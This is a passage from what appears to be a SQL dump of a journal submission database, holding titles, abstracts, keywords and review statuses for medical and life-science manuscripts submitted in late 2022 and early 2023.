pandemic results formed by three nationally survey',NULL,5,0,'','The COVID-19 study has shed light on health disparities in the US. Compared to other people of colour, the illness burden is significantly greater among Black and Indigenous people. Income differences are particularly significant since lower-paid workers were less able to adopt mitigation practises than their higher-paid peers. In 2020, these inequalities entered the public health conversation, with pundits constantly pointing out the link between race, social status, and COVID-19. In contrast to inequalities related to age and chronic disease, what percentage of the general public and important subgroups acknowledged these social group disparities, and did public recognition evolve throughout the first year of the pandemic? We examined data from three cross-sectional public opinion polls that were conducted using the NORC AmeriSpeak panel in order to answer these issues. The main findings included the degree to which respondents agreed with claims regarding differences in COVID-19 mortality by age, chronic disease, income, and race. From 2020 to 2021, we discovered minimal variation in Americans\' perceptions of inequities. ','COVID-19 , Death statistics ',3282,NULL,'2022-12-20',NULL,'Submitted',2,NULL,'2022-12-24',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13342,13547,85,0,'iphspr-22-13342','Social determinants of health two different disparities in disease of covid 19 in both colours of Americans  ',NULL,5,0,'','The increased prevalence of Coronavirus Disease among racial and ethnic minority communities in the United States has exacerbated racial and ethnic health inequalities. Non-Hispanic Black and Hispanic/Latinx people with COVID-19 are more likely to require hospitalisation, admission to an intensive care unit, and pass away than non-Hispanic White people. In these minority communities, there may be discrepancies in COVID-19-related severity and outcomes, which may be attributed to a number of variables, including the higher prevalence of cardiovascular and metabolic illnesses, which is covered in our companion review article. When compared to non-Hispanic White people, social determinants of health have a significant but frequently underappreciated role in explaining racial and ethnic-related health inequalities in non-Hispanic Black and Hispanic/Latinx people.','Coronavirus Disease, Health inequalities, ',3282,NULL,'2022-12-20',NULL,'Submitted',2,NULL,'2022-12-24',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13343,13548,959,0,'ipacr-22-13343','The Suppressive Effects of Cytotoxic Agents on Lymphoma Cell Proliferation and Tumor Growth',NULL,5,0,'','Objective: Ansamitocin P3 (AP3) and paclitaxel as tubulin inhibitors and camptothecin (CPT) as a Topo â…  inhibitor are considered to be among the most active natural products. We investigate the roles and mechanisms of AP3, paclitaxel and CPT in inducing apoptosis in human histiocytic lymphoma U937 cells. \r\nMethods and materials: In vitro studies included CCK8 assay to estimate antiproliferative activity and flow cytometry to analyze apoptosis of U937 cells. qRT-PCR was revealed the change in gene expression leading to apoptosis. In vivo experiments were performed with xenograft tumor model using five weeks-old female SCID mice.\r\nResults: CCK8 assay exhibits AP3 as a great antiproliferative activity compound with a half-maximal inhibitory concentration (IC50) at 0.18 ± 0.04 nM, while the IC50s of CPT and paclitaxel were at 25.09 ± 2.64 and 6.06 ± 1.24 nM respectively. Apoptosis analysis indicated that the number of both early and late apoptotic cells increased significantly after treatment with each of three abovementioned biomolecules. Cell cycle analysis suggested that while both AP3 and paclitaxel arrest cells in the G2/M Phase at middle or high concentrations, CPT arrests cells in G2/M phase at low concentration and in the S phase at high concentration. Transcritome’s qRT-PCR found that AP3 and paclitaxel induce apoptosis downregulating the expression of PCNA and BCL-2, and besides that, cells treated with CPT showed upregulated P21 but downregulated BCL-2 expression. The data obtained using xenograft tumor model showed that AP3 greatly inhibits tumor growth with little side effect, which confirms high in vivo anti-tumor activity of this compound. \r\nConclusion: The obtained results suggest the strongest antitumor activity of AP3 on lymphoma U937 cells and its great potential in tumor-targeted therapy.\r\n','Lymphoma cells; ansamitocin P3; paclitaxel; camptothecin; apoptosis; tumor growth',3162,NULL,'2022-12-20',NULL,'Submitted',2,NULL,'2022-12-23',NULL,1,1,'0','ACCEPT',0,'','',NULL,0,0,0,NULL,0),(13344,13527,971,0,NULL,'Generally Speaking, Enzalutamide and Androgen Deprivation Therapy Improves Survival of Men with Metachronous Metastatic Hormone-Touchy Prostate Cancer',NULL,5,0,'','Compared to men who develop recurrent disease, men who initially have confined prostate cancer and later develop metachronous metastases have a better prognosis, and they frequently have a low weight of infection on standard imaging. Some patients have diseases that can benefit from metastasis-coordinated treatment because there isn\'t any proof that combining foundational treatment for lymph node or bone metastases is beneficial.','',5346,NULL,'2022-12-20',NULL,'Submitted',4,NULL,'2022-12-20',NULL,1,0,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13345,13549,73,0,'ipjnn-22-13345','A case report of lethal cerebral encephalocele and antiphospholipid antibiotic response following SARS-CoV-2 vaccination',NULL,5,0,'','   ','    ',332,NULL,'2022-12-21',NULL,'Submitted',2,NULL,'2022-12-28',NULL,1,1,'1','  ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13347,13551,73,0,'ipjnn-22-13347','Role of Endogenous Lipopolysaccharides in Neurological Disorders',NULL,5,0,'','   ','   ',334,NULL,'2022-12-21',NULL,'Submitted',2,NULL,'2022-12-28',NULL,1,1,'1','  ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13348,13552,73,0,'ipjnn-22-13348','Neuromonitoring for thyroid surgery in children and adolescents is described',NULL,5,0,'','  ','   ',326,NULL,'2022-12-21',NULL,'Submitted',2,NULL,'2022-12-28',NULL,1,1,'1','   ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13349,13553,73,0,'ipjnn-22-13349','Some cases of narcolepsy are reported in the Slovakian Narcolepsy Database',NULL,5,0,'','  ','  ',5426,NULL,'2022-12-26',NULL,'Submitted',2,NULL,'2022-12-28',NULL,1,1,'1','  ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13350,13058,73,0,'ipjnn-22-13350','Effective treatment of the condition - \"heaviness and fatigue of the legs\" resonance therapy','',15,3,'','The state of heaviness and fatigue of the legs in this article is considered as an independent manifestation, not associated with other diseases.\r\n The state of heaviness and fatigue of the legs has increased as a result of the coronavirus. Unfortunately, there is no effective treatment by traditional methods and means. In this regard, effective methods of treatment were used - the resonance of destruction and the resonance of creation. The article shows that these methods are extremely effective in curing this condition.','heaviness and fatigue of the legs, resonance of destruction,     resonance of creation',326,'','2022-06-16',NULL,'Submitted',15,0,'2022-12-29','',1,1,'1','',0,'','',0,0,0,0,NULL,0),(13351,13554,91,0,'ijddr-23-13351','Updated Review on Proniosomal Transdermal Drug Delivery System ',NULL,5,0,'','Scientists worked to stabilise without having an impact on the niosomal drug delivery method its marital characteristics, which led to the creation of the potential drug carrier proniosome. Drug delivery methods using niosomes and liposomes have disadvantages that proniosomes do not. Dry formulations of a non-ionic, water-soluble surfactant are called pioniosomes and are applied to a carrier system. Proniosome hydration results in the formation of niosomes.\r\nThey have the potential to increase the dissolution, accessibility, and uptake of various medications by addressing the instability issues with niosomes and liposomes. In addition, they provide a flexible method of drug delivery for a variety of both hydrophilic and hydrophobic medicines. They can deliver medications using a number of techniques to the intended site of action, offering a controlled drug release of the medication and a reduction in any potentially harmful side effects. It\'s critical to be knowledgeable of each study\'s limitations, which each have their own benefits and drawbacks, in order to get the right study results. Ecological, prospective, retrospective, case-control, case-crossover, or cross-sectional cohort designs are all possible for observational studies. A vital subclass of observational experiments of the diagnosis research designs, which compare the accuracy of different diagnostic approaches and tests to other diagnostic measures, can be used to derive important findings. Only data collected utilising a valid scientific methodology and the appropriate statistical methods can be used in biomedical research to draw meaningful findings. As a result, it\'s critical to pick a solid study strategy in order to offer a just and impartial evaluation of the research concerns. This review focuses on a variety of proniosome-related topics including - advantages, preparation, mechanism of action, materials and their specification, study design, characterization &evaluation parameter.','Proniosomes, Niosomal, Factorial designs, Relationship, TDS.',2474,NULL,'2022-12-28',NULL,'Submitted',2,NULL,'2023-01-10',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13352,13555,73,0,'ipjnn-23-13352','A REVIEW: A detail pharmacology of pain – different method of pain assessment and management in patient',NULL,15,0,'','Pain sensation involves multiple signaling and modulatory pathways, employing a variety of neurotransmitters and other mediators. Inhibitory and facilitatory mechanisms affect the perception of stimuli as painful or non-painful, and in addition may affect the perceived intensity of pain. Endogenous opioids are key mediators in the descending pain suppression pathways. Additionally, monoaminergic neurotransmitters such as norepinephrine, serotonin and dopamine positively or negatively modulate pain signaling, depending on receptor type and location. The various mediators involved in pain signaling provide potential targets for pharmacological interventions. Single analgesic therapies may be limited in their ability to comprehensively target these complex pain signaling pathways. Therapeutic approaches acting on multiple pain transmission pathways through different mechanisms of action provide an opportunity to maximize efficacy and tolerability in the treatment of pain.\r\n\r\nSCOPE\r\nThis article discusses the various physiologic processes involved in pain signaling and modulation, describes the mechanisms by which various classes of analgesic agents are believed to produce their clinical effects, and explores the potential benefits of a multiple-mechanism approach to analgesia. Published articles describing the physiologic processes involved in pain signaling and modulation and the mechanisms of analgesia for different drug classes were reviewed. Along with this also discuss about various pain assessment tools and pain management in patient by different pharmacological and non pharmacological method. Also suggest some check point and current prospects and advancements in neuroimaging of pain.\r\n','Pain, signalling pathway, modulatory pathway,pharmacological and non pharmacological method, analgesic, non steroidal anti inflammatory, neuroimaginary method.',332,NULL,'2022-12-29',NULL,'Submitted',4,NULL,'2023-01-27',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13353,12953,73,0,'ipjnn-23-13353','Giant Metachronus Malignant Melanoma: Clinical Equipoise in Patient Care & Management”','',2,3,'','Melanoma is the most serious form of skin cancer. In the United States, it is the fifth most common cancer in men and women [1]; its incidence increases with age. As survival rates for people with melanoma depend on the stage of the disease at the time of diagnosis, early diagnosis is crucial to improve patient outcome and save lives. Although most melanomas are detected by patients themselves [2,3], clinician detection is associated with thinner, more curable tumors [4-7]. Most patients with thin, invasive melanoma (Breslow thickness ≤1 mm) can expect prolonged disease-free survival and likely cure following treatment [8]. However, a few patients have metastatic disease at presentation, and some develop metastases after their initial definitive treatment.','Metastasis, Malignant Melanoma, Metachronous disease, Immunotherapy, Targeted therapy, Pembrolizumab',326,'','2022-03-26',NULL,'Submitted',15,0,'2023-01-03','',1,1,'1','',0,'','',0,0,0,0,NULL,0),(13354,13554,91,0,'ijddr-23-13354','Nanoemulgel: A Novel Approach for Topical Delivery System',NULL,5,0,'','The incorporation of a nanoemulsions system integrated into the hydrogel matrix affects better skin penetration. Nanoemulgels are known as the formulation of nanoemulsion based on hydrogel. Nanoemulgel improves the stability of a nanoemulsion formulation by lowering surface and interfacial tension, which increases the aqueous phase viscosity. Because the system has a higher viscosity than the nanoemulsion system, nanoemulgel is also known as hydrogel-thickened nanoemulsions. Hydrophobic medication delivery using nanoemulgel is extremely effective. With greater drug loading due to improved solubilizing efficiency, improved bioavailability due to superior permeability, and the ability to control drug release, it is an efficient alternative delivery technique for the treatment of many disorders. Nanogels protect biomolecules like enzymes and genetic material from destruction, while their macromolecular features let tiny molecules circulate longer and serve as a handy platform for combining therapeutic compounds. Nanoemulgel use has increased in recent years as a result of the preparation\'s improved acceptability among patients due to its non-greasy, convenient Spreadability, easy application, and good therapeutic and safety profile. Nanoemulgel has a strong potential of being the primary topical delivery route for lipophilic medications in the future, despite several challenges.','Nanoemulgel; Spreadability; Nanoemulsions.',1325,NULL,'2022-12-29',NULL,'Submitted',2,NULL,'2023-01-10',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13356,13557,251,0,'ipacm-23-13356',' PERCEPTIONS AND PRACTICES OF ANTIMICROBIAL STEWARDSHIP AMONG COMMUNITY PHARMACISTS IN ABUJA, NIGERIA',NULL,5,0,'','BACKGROUND: Irrational use of antibiotics is one of the key modifiable risk factors for antimicrobial resistance. Owing to the widespread use of antibiotics in community settings, Community Pharmacists have crucial roles in ensuring the rightful use of antibiotics. OBJECTIVE: To assess the practice and perception of Antimicrobial Stewardship (AMS) among Community Pharmacists in Abuja, Nigeria. METHOD: A descriptive, cross-sectional study was conducted from July to September 2020, using a self-administered validated and pretested questionnaire, in the city of FCT. The data from the questionnaire were analyzed using Statistical package for social science (SPSS) version 21 and presented as frequency and percentage of response. RESULT: One hundred and sixty-four (164) Community Pharmacists participated in the study, of which, 98 were males (59.8%) and 66 (40.2%) were females. The majority (70.1%) of the Pharmacists were familiar with the vital role of the AMS program and its importance in enhancing patient care, thus indicating good perception and knowledge about antimicrobial stewardship. Many (62.2%) of the Community Pharmacists strongly agreed that they educate patients on the use of antimicrobials and resistance-related issues. The  Community Pharmacists in FCT  had good AMs practices. CONCLUSION: The Community Pharmacists in Abuja   have a positive perception and practice about Antimicrobial Stewardship. They often or always dispensed antimicrobials with prescription and complete clinical information and never dispensed antimicrobials longer than the prescribed duration. There is a need to increase the level of communication and interaction between Community Pharmacists and other health care providers.',' Perceptions, Practices, Antimicrobial Stewardship, antibiotic resistance, Community Pharmacists, Abuja',3944,NULL,'2022-12-30',NULL,'Submitted',2,NULL,'2023-01-17',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(13357,13556,975,0,'ipjbs-23-13357','The Role of Exosome and Protein Kinase cGMP-dependent 1 (PRKG1) in Detecting of Breast Cancer in patients with Breast Tumors.',NULL,14,0,'','Background:\r\n     Breast cancer is responsible for the death of millions of women worldwide every year. Several clinical, diagnostic and pathological techniques have been introduced to get early detection of the disease. One of these techniques was developed to detect extracellular vesicle exosomes and phosphoproteins as a product of cancer cells.\r\nObjective:\r\n-	Investigating the role of exosome and (PRKG1) in detection breast cancer in patients with breast tumors.\r\nSubjects and Methods:\r\nThis case-control study was conducted on (105) women. They were divided into 3 groups, group I of (35) patients with malignant breast tumor, group II of (35) patients with benign breast tumor, and group III which of (35) matched healthy subjects as control. Ten (10) milliliters of blood sample was obtained from patients submitted for surgery (mastectomy or lumpectomy) by venipuncture just before operation, they were collected during the period between April -December 2018 in Al-Imamain Al-Kadhymeaain Medical City, Baghdad, Iraq.\r\nplasma Exosomes and exosomal (PRKG1) were measured by ELIZA technique. Serum Cancer antigen 15-3 measured by ELIZA technique. \r\nResults:\r\nThere is a significant difference in the levels of exosomes and the (PRKG1) between breast cancer group and control group (p> 0.001). Also significant differences found between the breast cancer and benign group, and between benign and control group. In the concentration of antigen 15-3, a significant difference found between the breast cancer group control groups (p= 0.003), whereas there are no significant differences observed between the breast cancer and benign group (p=0.187) and between benign and control group (p=0.205).\r\nConclusions:\r\nExosomes and exosomal (PRKG1) levels would be very good biomarkers for early detection and diagnosis of breast cancer and also can differentiate between malignant and benign breast tumors acting as a non-invasive liquid biopsy. Cancer antigen 15-3 marker has many limitations.','Cancer',5410,NULL,'2022-12-30',NULL,'Submitted',2,NULL,'2023-01-24',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13358,13558,251,0,'ipacm-23-13358','Clinical Microbiology: Antimicrobial Stewardship',NULL,5,0,'','Antimicrobial resistance is increasing; however, antimicrobial drug development is slowing. Now more than ever before, antimicrobial stewardship is of the utmost importance as a way to optimize the use of antimicrobials to prevent the development of resistance and improve patient outcomes. This review describes the why, what, who, how, when, and where of antimicrobial stewardship. Techniques of stewardship are summarized, and a plan for implementation of a stewardship program is outlined. Antimicrobial stewardship is the systematic effort to educate and persuade prescribers of antimicrobials to follow evidence-based prescribing, in order to stem antimicrobial overuse, and thus antimicrobial resistance. AMS has been an organized effort of specialists in infectious diseases, both in Internal Medicine and Pediatrics with their respective peer-organizations, hospital pharmacists, the public health community and their professional organizations since the late 1990s. It has first been implemented in hospitals. In the U.S., within the context of physicians\' prescribing freedom (choice of prescription drugs), AMS had largely been voluntary self-regulation in the form of policies and appeals to adhere to a prescribing self-discipline until 2017, when the Joint Commission prescribed that hospitals should have an Antimicrobial Stewardship team, which was expanded to the outpatient setting in 2020.\r\nIn the early days of antibiotics, booming drug development meant that even when resistance developed, a new drug was always available to treat the increasingly resistant bacteria. Fourteen new classes of antibiotics were introduced between 1935 and 2003. However, rapid antimicrobial development came with a cost antimicrobial resistance. In the hospital, resistance to antibiotics and antifungals poses the greatest concern. The use of the term ‘antimicrobial stewardship’ has grown exponentially in recent years, typically referring to programmes and interventions that aim to optimize antimicrobial use. Although antimicrobial stewardship originated within human healthcare, it is increasingly applied in broader contexts including animal health and One Health.\r\nAntimicrobial resistance (AMR) has been clearly identified as a major global health challenge. It is a leading cause of human deaths and also has a toll on animals, plants, and the environment. Despite the considerable socio-economic impacts, the level of awareness of the problem remains woefully inadequate, and antimicrobials are not generally recognized as a global common good, one that everyone has a role and responsibility to conserve. It is imperative for antimicrobial stewardship to be more widely implemented to achieve better control of the AMR phenomenon. The Food and Agriculture Organization (FAO) of the United Nations plays an important role in promoting and facilitating antimicrobial stewardship.\r\n','Antimicrobial Stewardship; Human healthcare; Techniques of stewardship; Hospital pharmacists',779,NULL,'2023-01-03',NULL,'Submitted',2,NULL,'2023-01-11',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13359,13559,971,0,'ipaclr-23-13359','Effects of Different Methods of Anesthesia',NULL,14,2,'Innovation in Clinical and Laboratory Research','','',3236,NULL,'2023-01-05',NULL,'Submitted',2,NULL,'2023-03-20',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13360,13031,45,0,'iphsj-23-13360','Evaluation on the Specificity and Sensitivity of a COVID-19 and A+B Influenza Antigen Combo Test for Detection and Application in Rapid Chromatographic Immunoassays.',NULL,5,0,'','Abstract\r\nBackground\r\nThe emergence of COVID-19 and influenza A+B antigen combination diagnostic tests implies a significant increase in their respective prevalence worldwide.[3] On the one hand, the emergence of novel coronary pneumonia has had a significant impact on people\'s lives worldwide since 2019. As a condition consisting of severe acute respiratory syndrome with a high intensity of transmission, COVID-19 poses a threat to human health worldwide. On the other hand, influenza A, which dominates influenza, has increased in activity worldwide.\r\n\r\nAs of December 14, 2022, the cumulative number of COVID-19 confirmed cases worldwide reached more than 640 million. Of these, 260 million and 180 million have been confirmed in Europe and the Americas, respectively. The number of confirmed cases worldwide will reach a peak in January 2023. In addition, it is estimated that more than six million people worldwide have died from COVID-19. However, this figure is incomplete and to some extent, the data for Africa is not complete and the presence of asymptomatic patients makes it difficult to count. For influenza, North America and Europe have seen a significant increase in influenza activity, while other regions have seen a relatively lower prevalence.[4] In the National Influenza Centre (NIC) study, 97.9% of the 562,000 samples were influenza A viruses, while influenza B viruses accounted for 2.1%.\r\n\r\nIn clinical manifestations, patients infected with novel coronaviruses mainly present with fever, malaise and dry cough, and some people suffer from a stuffy, runny nose, sore throat, and myalgia diarrhea. The incubation period of the novel coronavirus is 1-14 days, with most people developing symptoms within 3-7 days. In addition, the novel coronavirus is highly contagious and can be transmitted to asymptomatic people. Influenza is also a highly contagious acute respiratory virus that can be transmitted from person to person through droplets containing the virus, such as coughing and sneezing, resulting in infection.\r\n\r\nObjective\r\nThe main objective of this report is to evaluate and discuss how the COVID-19 and influenza A+B antigen combo tests can be used in practical situations and to analyze their professional performance in terms of response principles and accuracy. The feasibility of its application as a major tool for the rapid diagnosis of COVID-19 and influenza A+B antigens will also be reviewed.\r\n\r\nMethod\r\nThe SARS-CoV-2 nucleotide protein and influenza A + B virus antigens are detected in nasopharyngeal swabs from infected patients by rapid chromatographic immunoassay for the detection of COVID-19 and influenza A+B viruses in the nasopharynx. As their antigens can be detected during the acute phase of infection, a positive result indicates the presence of antigens in the nasopharynx of the patient, while a negative result does not exclude the possibility of infection and should be confirmed by combining the test results with clinical signs of exposure and presence of associated symptoms in the patient.\r\n\r\nResults\r\nThe results showed that the ACRO Rapid Test for COVID-19 and A + B influenza antigen combo (nasal swabs) achieved a sensitivity of 97.7%, specificity of 99% and accuracy of 98.6% for the COVID-19 antigen. The sensitivity for Type A influenza was 97%, the specificity 99.4% and the accuracy 99.2%. For Type B influenza, the sensitivity was 94.6%, the specificity 99.4% and the accuracy 99%.\r\n\r\nConclusion\r\nThe ACRO COVID-19 and Influenza A+B Antigen Combo (Nasopharyngeal Swab) is a qualitative, membrane-based immunoassay that tests for SARS-CoV-2 nucleotide protein and influenza A and B nucleoproteins by detecting the presence of antigenic viruses in the nasal cavity of a sample using a lateral flow immunoassay, a convenient and rapid test that gives results in less than 15 minutes.\r\n\r\nThe combination of COVID-19 and influenza A+B antigens is easy to handle and tests for both antigenic viruses simultaneously with clear and understandable results. In this sample test, the antigen combination can effectively help patients to determine if they have this antigenic virus, and its accuracy and specificity have been thoroughly tested. Patients can use the rapid test kit to make a rapid diagnosis and get a specific assessment of which virus or viruses they are infected with.','COVID-19, Influenza A+B, Antigen, Rapid Test',5388,NULL,'2023-01-06',NULL,'Submitted',2,NULL,'2023-01-12',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13361,13560,86,0,'ipaom-23-13361','Precision treatment for cardiovascular disease is made possible by an in silico model of atherosclerosis with individual patient calibration',NULL,11,0,'',' ','cardiovascular, Atherosclerosis',410,NULL,'2023-01-06',NULL,'Submitted',2,NULL,'2023-01-10',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13362,13561,86,0,'ipaom-23-13362','Hospice and the subspecialties in dermatology and death',NULL,3,0,'','  ','Dermatology, Hospice',5013,NULL,'2023-01-06',NULL,'Submitted',2,NULL,'2023-01-10',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13363,13562,86,0,'ipaom-23-13363','Developing human renal epithelial cells for transplant in regenerative medicine',NULL,12,0,'',' ','Renal epithelial cells, Medicine',5013,NULL,'2023-01-06',NULL,'Submitted',2,NULL,'2023-01-10',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13364,13563,86,0,'ipaom-23-13364','Children with acute brain injury undergoing multimodal neurologic monitoring',NULL,5,0,'','Acute neurologic illness has a high mortality and neurologic disability risk for children. Cerebral hypoxia, hypoperfusion, and edema frequently exacerbate severe traumatic brain injury, cardiac arrest, stroke, and central nervous system infection, resulting in additional neurologic damage and worse outcomes. The management of these conditions places an emphasis on close physiologic monitoring and supportive care due to the lack of targeted neuroprotective therapies. In this review, we will focus on the physiologic concepts behind each tool and discuss advanced neurologic monitoring strategies for pediatric acute neurologic illness. New monitoring methods and the use of neurologic monitoring in critically ill patients at risk of neurologic sequelae will also be highlighted in this article.','Traumatic brain injury, Neurocritical care',3192,NULL,'2023-01-06',NULL,'Submitted',2,NULL,'2023-01-10',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13365,13564,73,0,'ipjnn-23-13365','Melatonin protects E. coli neurons the intestinal microbiota influences meningitis',NULL,25,0,'','','',5427,NULL,'2023-01-06',NULL,'Submitted',2,NULL,'2023-01-23',NULL,1,1,'1','   ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13366,13565,86,0,'ipaom-23-13366','Artificial intelligence in anatomic pathology: Challenges with development, use, and regulation',NULL,3,0,'',' ','Artificial intelligence , Pathology',5013,NULL,'2023-01-07',NULL,'Submitted',2,NULL,'2023-01-12',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13367,13566,86,0,'ipaom-23-13367','Increased lung exposure to inhaled drugs through pharmaceutical means',NULL,25,0,'','The pulmonary administration approach has been extensively utilized for the treatment of both local lung diseases like asthma, chronic obstructive pulmonary disease, and respiratory infections as well as systemic disorders like diabetes. The majority of medications taken by inhalation pass quickly through the lungs and have brief therapeutic effects. By reducing the number of times a patient is given a medication, prolonged pulmonary exposure from inhaled medications may not only improve therapeutic outcomes but also clinical benefits for patients. This article provides a comprehensive analysis of the physical and chemical strategies for increasing the pulmonary exposure of inhaled medications. It begins by providing an overview of the numerous physiological and pathophysiological challenges that must be overcome in order to create inhaled medications that are exposed to the lung for an extended period of time. It then moves on to discuss the most recent advancements in a number of methods that can circumvent these challenges. In conclusion, a summary of the uses of inhaled medications that are exposed to the lung for an extended period of time for the treatment of various diseases and the safety concerns associated with various methods of exposing the lungs to inhaled medications are provided.','Local lung diseases, Pulmonary drug delivery',5013,NULL,'2023-01-07',NULL,'Submitted',2,NULL,'2023-01-12',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13368,13567,86,0,'ipaom-23-13368','Identifying biomarkers by profiling extracellular long RNA transcriptome in human plasma and extracellular vesicles',NULL,19,0,'','The new disclosure of extracellular RNAs in blood, remembering RNAs for extracellular vesicles (EVs), joined with low-input RNA-sequencing propels have empowered researchers to explore their job in human illness. Until now, most examinations have been zeroing in on little RNAs, and strategies to improve long RNAs estimation are deficient. We utilized plasma RNA to evaluate the exhibition of six long RNA sequencing techniques, at two unique locales, and we report their disparities in peruses (%) planned to the genome/transcriptome, number of qualities identified, long RNA record variety, and reproducibility. Utilizing the best performing strategy, we further look at the profile of long RNAs in the EV-and no-EV-advanced RNA plasma compartments. These outcomes give experiences on the exhibition and reproducibility of economically accessible units in surveying the scene of long RNAs in human plasma and different extracellular RNA transporters that might be taken advantage of for biomarker revelation.','RNA transcriptome, Human plasma',3799,NULL,'2023-01-07',NULL,'Submitted',2,NULL,'2023-01-12',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13369,13568,86,0,'ipaom-23-13369','Rules and investigation techniques to look at the biodistribution of RNA treatments',NULL,11,0,'',' ','Investigation techniques, RNA treatments',5013,NULL,'2023-01-07',NULL,'Submitted',2,NULL,'2023-01-12',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13370,13569,86,0,'ipaom-23-13370','The brain\'s kv7 channel plays a new role in the development of hypertension',NULL,12,0,'',' ','Brain\'s kv7, Hypertension',4014,NULL,'2023-01-07',NULL,'Submitted',2,NULL,'2023-01-12',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13371,13570,251,0,'ipacm-23-13371','Vancomycin-resistant Staphylococcus aureus',NULL,5,0,'','Methicillin-resistant Staphylococcus aureus (MRSA) infections pose a global risk to public health. One of the first-line treatments for MRSA infections is still vancomycin. However, in recent years, isolates of S. aureus that are completely resistant to vancomycin have emerged.\r\nClinical isolates of both Staphylococcus aureus and coagulase-negative staphylococci have been found to be resistant to vancomycin. Given that vancomycin has long been the treatment of choice for gram-positive organisms that are resistant to antibiotics, the emergence of vancomycin resistance poses a serious threat to public health. Even though major efforts are being made to learn more about vancomycin resistance, a lot is still unknown at this time. The major epidemiologic, microbiological, and clinical features of vancomycin resistance in S. aureus and coagulase-negative staphylococci are discussed in this article. Definitions, laboratory detection of vancomycin resistance, and infection control concerns pertaining to vancomycin-resistant staphylococci are among the issues that are shared by coagulase-negative staphylococci and S. aureus. The epidemiology, risk factors for infection, mechanisms of resistance, and management options of each organism are then the focus of the remainder of the article.','Microbiological; Vancomycin-resistant Staphylococcus aureus; S. aureus; Vancomycin-resistant S. aureus; Glycopeptide antibiotic',3944,NULL,'2023-01-07',NULL,'Submitted',2,NULL,'2023-01-11',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13372,13571,251,0,'ipacm-23-13372','Microbiological Genomics and Metabolize energy',NULL,5,0,'','Marine sponges host a wide diversity of microorganisms, which have versatile modes of carbon and energy metabolism. In this study we describe the major lithoheterotrophic and autotrophic processes in 21 microbial sponge-associated phyla using novel and existing genomic and transcriptomic datasets. We show that the main microbial carbon fixation pathways in sponges are the Calvin Benson Bassham cycle (energized by light in Cyanobacteria, by sulfur compounds in two orders of Gammaproteobacteria, and by a wide range of compounds in filamentous Tectomicrobia), the reductive tricarboxylic acid cycle (used by Nitrospirota), and the 3-hydroxypropionate/4-hydroxybutyrate cycle (active in Thaumarchaeota). Further, we observed that some sponge symbionts, in particular Acidobacteria, are capable of assimilating carbon through anaplerotic processes. The lithoheterotrophic lifestyle was widespread and CO oxidation is the main energy source for sponge lithoheterotrophs. We also suggest that the molybdenum-binding subunit of dehydrogenase (encoded by coxL) likely evolved to benefit also organ heterotrophs that utilize various organic substrates.\r\nInformation on the biochemical pathways of carbon and energy metabolism in representatives of the deep lineage bacterial phylum Deferribacteres are scarce. Here, we report the results of the sequencing and analysis of the high-quality draft genome of the thermophiles chemolithoautotrophic anaerobe Deferribacter autotrophic us. Genomic data suggest that CO2 assimilation is carried out by recently proposed reversible tricarboxylic acid cycle (“roTCA cycle”). The predicted genomic ability of D. autotrophicus to grow due to the oxidation of carbon monoxide was experimentally proven. CO oxidation was coupled with the reduction of nitrate to ammonium. Utilization of CO most likely involves anaerobic [Ni, Fe]-containing CO dehydrogenase. This is the first evidence of CO oxidation in the phylum Deferribacteres. The genome of D. autotrophicus encodes a Nap-type complex of nitrate reduction. However, the conversion of produced nitrite to ammonium proceeds via a non-canonical pathway with the participation of hydroxylamine oxidoreductase (Hao) and hydroxylamine reductase. The genome contains 17 genes of putative multiheme c-type cytochromes and “e-pilin” genes, some of which are probably involved in Fe(III) reduction. Genomic analysis indicates that the roTCA cycle of CO2 fixation and putative Hao-enabled ammonification may occur in several members of the phylum Deferribacteres.','',785,NULL,'2023-01-07',NULL,'Submitted',2,NULL,'2023-01-11',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13373,13572,251,0,'ipacm-23-13373','Candida Albicans Symptoms and Treatment',NULL,5,0,'','Candida albicans is a common commensal fungus that lives in healthy people\'s skin and infects the pharynx, gastrointestinal, and vaginal tracts. C. albicans is a part of the normal microbiota flora in 50% of people. Candida species can cause a variety of clinical manifestations, ranging from superficial, localized disorders of the mucocutaneous system to invasive, life-threatening diseases that affect multiple organ systems. Diverse factors, ranging from systemic and local to hereditary and environmental, disrupt Candida\'s normal homeostasis, transforming normal flora into pathogenic and opportunistic infections. Candida\'s virulence characteristics, which lead to the development of candidiasis, also influence the transition in the pathophysiology of the onset and progression of infection. There are many different clinical manifestations of oral candidiasis, including primary and secondary candidiasis. The gastrointestinal tract is the body\'s primary source of C. albicans, and the development of infections is caused by the symbiotic relationship between the local microbiota, immune dysfunction, and damage to the muco-intestinal barrier. Candidaemia—invasive Candida infections are correlated with the presence of C. albicans in the blood. As long as the host immune system and C. albicans\' virulence factors are in balance, the commensal relationship continues. Clinical 